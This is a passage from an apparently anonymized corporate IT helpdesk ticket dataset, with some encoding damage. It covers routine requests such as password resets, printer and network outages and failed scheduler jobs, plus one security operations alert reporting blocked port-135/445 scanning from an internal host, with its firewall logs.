â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) any\_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? outlook, word (ex windows / erp /kls)\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33578632) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_17, Description: source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17\_x000D\_
destination hostname: lmxl9516623\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:\_x000D\_
-------------------------------------------------------------------------------------------------------------------------------------------\_x000D\_
we have detected at least 269 occurrences of your firewall att-apac-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName\_17/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
soc\_x000D\_
\_x000D\_
=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:\_x000D\_
-w32.blaster.worm/msblast/lovsan \_x000D\_
-w32.welchia/nachi\_x000D\_
-w32.reatle\_x000D\_
\_x000D\_
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service\_x000D\_
\_x000D\_
port 137 - netbios netbios name service\_x000D\_
\_x000D\_
port 138 - netbios netbios datagramdnty service\_x000D\_
\_x000D\_
port 139 - netbios netbios session service\_x000D\_
\_x000D\_
port 445 - microsoft-ds smb file shatryung\_x000D\_
\_x000D\_
additional information on these ports and best practices can be found at the following sites:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
references\_x000D\_
=========================\_x000D\_
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\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 93605481\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
occurrence count: 269\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17\_x000D\_
source port: 56991\_x000D\_
destination hostname: lmxl9516623\_x000D\_
destination port: 135\_x000D\_
connection directionality: internal\_x000D\_
protocol: tcp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-apac-asa.company.com-1\_x000D\_
log time: 2016-09-07 at 09:16:25 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 537074\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 886845862\_x000D\_
ontology id: 200020003203009144\_x000D\_
event type id: 200020003203009044\_x000D\_
agent id: 103955\_x000D\_
\_x000D\_
event detail:\_x000D\_
sep 7 09:16:25 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/56991 to 10.10.6.61/135 flags syn on interface inside\_x000D\_
sep 7 09:16:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57004 dst outside:192.168.1.131/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.0.17/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:42 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57050 dst outside:192.168.2.101/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57072 dst outside:192.168.1.141/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57077 dst outside:192.168.1.101/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:01 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57083 to 10.254.255.39/135 flags syn on interface inside\_x000D\_
sep 7 09:17:02 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57086 to 10.240.84.111/135 flags syn on interface inside\_x000D\_
sep 7 09:17:14 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57099 dst outside:192.168.1.94/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:24 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57123 dst outside:192.168.1.107/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57135 dst outside:192.168.0.103/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:37 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57146 dst outside:172.16.100.30/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:44 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57168 dst outside:192.168.1.128/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:48 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57190 dst outside:192.168.1.14/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:49 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57194 dst outside:192.168.1.110/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57199 dst outside:192.168.1.234/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
[no entry]\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
[no entry]\_x000D\_
\_x000D\_
event id: 93605486\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
occurrence count: 269\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17\_x000D\_
source port: 56991\_x000D\_
destination hostname: [no entry]\_x000D\_
destination port: 135\_x000D\_
connection directionality: internal\_x000D\_
protocol: tcp\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-apac-asa.company.com-1\_x000D\_
log time: 2016-09-07 at 09:16:25 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 537074\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 886845862\_x000D\_
ontology id: 200020003203009144\_x000D\_
event type id: 200020003203009044\_x000D\_
agent id: 103955\_x000D\_
\_x000D\_
event detail:\_x000D\_
sep 7 09:16:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57007 dst outside:192.168.1.131/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:35 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57023 dst outside:192.168.0.17/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:39 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57040 to 10.70.120.71/445 flags syn on interface inside\_x000D\_
sep 7 09:16:43 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57053 dst outside:192.168.2.101/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:46 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57057 to 10.10.6.61/445 flags syn on interface inside\_x000D\_
sep 7 09:16:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57076 dst outside:192.168.1.141/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:16:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57079 dst outside:192.168.1.101/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:15 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57102 dst outside:192.168.1.94/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:22 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57117 to 10.254.255.39/445 flags syn on interface inside\_x000D\_
sep 7 09:17:23 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/57120 to 10.240.84.111/445 flags syn on interface inside\_x000D\_
sep 7 09:17:25 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57126 dst outside:192.168.1.107/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57137 dst outside:192.168.0.103/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:39 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57150 dst outside:172.16.100.30/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:45 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57177 dst outside:192.168.1.128/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:47 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57185 dst outside:192.168.1.117/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
sep 7 09:17:49 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57193 dst outside:192.168.1.14/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
[no entry]\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
[no entry]\_x000D\_
\_x000D\_
\_x000D\_
these appends may contain the same information as the original alert or may contain differences in the source destination pair. please view updates to this ticket via the portal. the security operations team will notify you as further information becomes available.\_x000D\_
\_x000D\_
security analysis team\_x000D\_
877, is assigned to Assignment group: GRP\_3.Ticket with Short description: spam call received from india., Description: spam call received from india., is assigned to Assignment group: GRP\_0.Ticket with Short description: anleitung fuer password\_management\_tool password manager gebraucht., Description: anleitung fuer password\_management\_tool password manager gebraucht., is assigned to Assignment group: GRP\_0.Ticket with Short description: job\_scheduler workstation HostName\_242, Description: observerd fence & limit are 0 for HostName\_242, is assigned to Assignment group: GRP\_8.Ticket with Short description: internet explorer update to version11, Description: internet explorer update to version11, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: simfghon wants to use the mail., Description: owa configured.\_x000D\_
explained that outlook is also already installed., is assigned to Assignment group: GRP\_0.Ticket with Short description: we\_wu101 account unlock., Description: we\_wu101 account unlock., is assigned to Assignment group: GRP\_0.Ticket with Short description: i would like to download a free software called bizagi but i cannot due to some securities set up., Description: i would like to download a free software called bizagi but i cannot due to some securities set up therefore i need your support , is assigned to Assignment group: GRP\_33.Ticket with Short description: data retrieval from backup server, Description:
received from: vkzwibco.pueyvhoi@gmail.com
dear sir/madam,
some zipped folders of around 700-800 mb are missing from the following paths â€“
(HostName\_95)
w:\zollerfgh - documents<file:///\\HostName\_95\grinding\zollerfgh%20-%20documents>
w:\trial data\softwares\zollerfgh<file:///\\HostName\_95\grinding\trial%20data\softwares\zollerfgh>
these had the data backup from zollerfgh genius machine and are required on an urgent basis now because the machine is in breakdown condition.
please retrieve this data from back-up server.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: cisco access point is not working., Description:
received from: ughzilfm.cfibdamq@gmail.com
hallo ,
cisco access point is not working.
mac address : 1819drtb8e64
, is assigned to Assignment group: GRP\_4.Ticket with Short description: cisco access point is not working., Description: cisco access point is not working.
mac address : 1819drtb8e64
, is assigned to Assignment group: GRP\_4.Ticket with Short description: account owner issue\_please assign it to "msd crm" team, Description: i discovered that there is an issue with account owner in msd.\_x000D\_
below examples of company accounts which have set up owner as company.\_x000D\_
\_x000D\_
\_x000D\_
erp customer # (account) (account) owner (account) (account)\_x000D\_
81587672 company\_x000D\_
81936758 company\_x000D\_
81660515 company\_x000D\_
81932598 company\_x000D\_
81883649 company\_x000D\_
81542410 company\_x000D\_
81805412 company\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: it help, Description: \_x000D\_
\_x000D\_
received from: scjxobhd.ldypjkmf@gmail.com\_x000D\_
\_x000D\_
hello help team,\_x000D\_
\_x000D\_
can you pls. open a ticket.\_x000D\_
it help might be needed for a meeting scheduled at fÃ¼rth, room #1, on september 14 (start at 9:00 am) & 15.\_x000D\_
the meeting will be conducted by two external trainers and they might need help to start their presentations (beamer).\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: not able to open an xcel file., Description: not able to open an xcel file.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: atp are available at delivery plant plant\_283, but order items cannot get confirmed at the same day. , Description: from yesterday, we found that some order items can only be confirmed in future(not same day with order entry) even there are full atp available at delivery plant plant\_283. csrs got many calls from customers to have them manually generate dn for their orders. \_x000D\_
\_x000D\_
here are some example, please check:\_x000D\_
\_x000D\_
35988706\_x000D\_
24870388 #20 & #30\_x000D\_
35989571 #10\_x000D\_
35994606 #10\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: hello, i'm lbxgodfu usperhki from company italy. i've vpn profile is not working, Description: hello, i'm lbxgodfu usperhki from company italy. i've vpn profile is not working
can you please verify ? my user is : piolfghim
, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver - , Description: \_x000D\_
\_x000D\_
received from: bcxpeuko.utorqehx@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
please help me to update the netweaver as i am receiving the below message.\_x000D\_
\_x000D\_
[cid:image001.png@01d20923.e7e007d0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: policy ?, Description: \_x000D\_
\_x000D\_
received from: hbmwlprq.ilfvyodx@gmail.com\_x000D\_
\_x000D\_
please forward to pc support\_x000D\_
it seems that there is a policy in place, that automatically adds websites to the list of sites, that should be viewed in "compatibilty mode". this is a setting in internet explorer.\_x000D\_
i would like to have this policy to be disabled, at least do not automatically add "company.com", "company.com" and "company.com"\_x000D\_
\_x000D\_
[cid:image001.png@01d208f1.b6a23530]\_x000D\_
\_x000D\_
mit freundlichem gruÃŸ / kind , is assigned to Assignment group: GRP\_39.Ticket with Short description: babiluntr, Description: \_x000D\_
\_x000D\_
received from: dhtxwcng.hruckmey@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d208ef.f2293b00]\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe / best , is assigned to Assignment group: GRP\_28.Ticket with Short description: outlook is not opening, Description: name:ilypdtno mkdfetuq\_x000D\_
language:\_x000D\_
browser:microsoft internet explorer\_x000D\_
email:ilypdtno.mkdfetuq@gmail.com\_x000D\_
customer number:\_x000D\_
telephone:\_x000D\_
summary:outlook is not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2049 failed in job\_scheduler at: 09/07/2016 04:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2049 failed in job\_scheduler at: 09/07/2016 04:00:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: network outage : pol-poland site hard down since 9/7/2016 3:36 am et. no backup circuit., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_ 9/7/2016 3:36 am et\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_na\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_512 failed in job\_scheduler at: 09/07/2016 03:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_512 failed in job\_scheduler at: 09/07/2016 03:46:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pls. unlock & reset windows & erp account for user vvtghjscha, Description: pls. unlock & reset windows & erp account for user vvtghjscha, is assigned to Assignment group: GRP\_0.Ticket with Short description: install win7 \ewew8323546 \sgnubadl gpkovbah, Description: install win7 \ewew8323546 \sgnubadl gpkovbah, is assigned to Assignment group: GRP\_24.Ticket with Short description: install win7 \ewew8323545 \sgnubadl gpkovbah, Description: install win7 \ewew8323545 \sgnubadl gpkovbah, is assigned to Assignment group: GRP\_24.Ticket with Short description: install win7 \ewew8323506 \vzqomdgt jwoqbuml, Description: install win7 \ewew8323506 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: install win7 \ewew8323504 \vzqomdgt jwoqbuml, Description: install win7 \ewew8323504 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: performance improvement/tuning , Description: performance improvement/tuning for machine summary & load list, is assigned to Assignment group: GRP\_41.Ticket with Short description: account locked out and password reset , Description: account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform é‡Œé¢æ‰“å¼€"æŸ¥çœ‹æˆ‘çš„æ‰€æœ‰åº”ç”¨"ç½‘ç«™é¡µé¢ä¸èƒ½æ˜¾ç¤ºã€‚, Description: collaboration\_platform é‡Œé¢æ‰“å¼€"æŸ¥çœ‹æˆ‘çš„æ‰€æœ‰åº”ç”¨"é¡µé¢ä¸èƒ½æ˜¾ç¤ºã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: EU\_tool not working, Description: the well-established work orders has been reported with "system to a standstill." it can be assumed then the machine operator no longer contracts. normal maintenance jobs without stopping the machine are imported., is assigned to Assignment group: GRP\_25.Ticket with Short description: please unlock & reset windows password for dfrt user kreghtmph, Description: please unlock & reset windows password for dfrt user kreghtmph, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_53 - f:\ label:dat2-HostName\_53 d4e35b72 is over 85% space consumed. space available: 0.97 m, Description: HostName\_53 - f:\ label:dat2-HostName\_53 d4e35b72 on server: HostName\_53 is over 85% space consumed. space available: 0.97 m, is assigned to Assignment group: GRP\_12.Ticket with Short description: impacts awards password, Description: \_x000D\_
\_x000D\_
received from: gqwdslpc.clhgpqnb@gmail.com\_x000D\_
\_x000D\_
please reset my impacts awards password.\_x000D\_
\_x000D\_
i am not remember even security question also.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d20900.0a6e3390]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : usa - (company) vpn router is down since 02:01 am et on 09/07. primary is up., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_02:01 am et on 09/07\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: pls help to create delivery note for sto 4908087268, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to create delivery note for sto 5019198379, for something error we unable to create, , is assigned to Assignment group: GRP\_6.Ticket with Short description: companysecure user can't get into the network, Description:
received from: ctzykflo.evzbhgru@gmail.com
dear all,
we have a problem that our new sales rep for 1202, rbzymfvx lebqthwv (kujfgtats), personnel # 156604998 can't get into the network companysecure.
can you please check his settings â€“ you can call him on mobile
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp bex hana issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):
enter user id of user having the issue: dofghbmes
transaction code(s) the user needs or was working with:
describe the issue:
the launcher was not able to connect analysis add-in. make sure that analysis add-in is not disabled by office application!
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage : engineering\_toolkuznetsk warehouse russia site hard down since 1:52 am et on 09/07., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_1:52 am et on 09/07.\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 09/07/2016 01:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 09/07/2016 01:48:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1386 failed in job\_scheduler at: 09/07/2016 00:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1386 failed in job\_scheduler at: 09/07/2016 00:35:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ebhsm004 - e:\ label:dat1-ebhsm004 dc16126c is over 85% space consumed. space available: 4.6 g, Description: ebhsm004 - e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed. space available: 4.6 g, is assigned to Assignment group: GRP\_65.Ticket with Short description: laptop service tag- fh1r262 not working(keypad issue), Description: \_x000D\_
\_x000D\_
received from: mzdkgnvs.svhkgyqb@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i have a dell 7350 2 in 1 laptop, the system number is:aiul9912366\_x000D\_
when i plug in my laptop to the keypad, the whole system is shutting down,\_x000D\_
and with the screen docked in to the keybankrd i am unable to start the computer.\_x000D\_
when i tried charging , it is not doing so with the screen docked in.\_x000D\_
i am currently using the touch pad of the screen, and charging only the screen.\_x000D\_
the keypad is totally unresponsive.\_x000D\_
please help out.\_x000D\_
my user name is :rajy\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: only mouse is not working in system, Description: only mouse is not working in system, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1329 failed in job\_scheduler at: 09/07/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1329 failed in job\_scheduler at: 09/07/2016 00:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: error while extending mm#, Description: from: kbyivdfz zwutmehy [mailto:kbyivdfz.zwutmehy@gmail.com]
sent: wednesday, september 07, 2016 7:28 am
to: nwfodmhc exurcwkm
subject: rad:error while extending mm#
hello,
need to extend existing mm# 6427895 from plant plant\_165 to plant\_206.
during processing mm01, the error message pop up "material group should start with 'r' or 'd' for roh type."
however the system doesn't allow me to change material group.
\*--.--.--.--.--.--.--.--.--.--.--.-the enormity of humanity / mankind is being insensitive-.--.\*
æ ªå¼ä¼šç¤¾ã‚¨ã‚¯ã‚¹ãƒ„ãƒ«ãƒ¼ãƒ‰ãƒ›ãƒ¼ãƒ³
è³¼è²·æ‹…å½“ æœ‰è³€äº®å¹³
kbyivdfz zwutmehy
purchasing/buyer
company k.k.
kbyivdfz.zwutmehy@gmail.com
, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to login to supply\_chain\_software, Description: unable to login to supply\_chain\_software\_x000D\_
please reset the password , is assigned to Assignment group: GRP\_0.Ticket with Short description: wrench\_engineering\_tool macro issue, Description: \_x000D\_
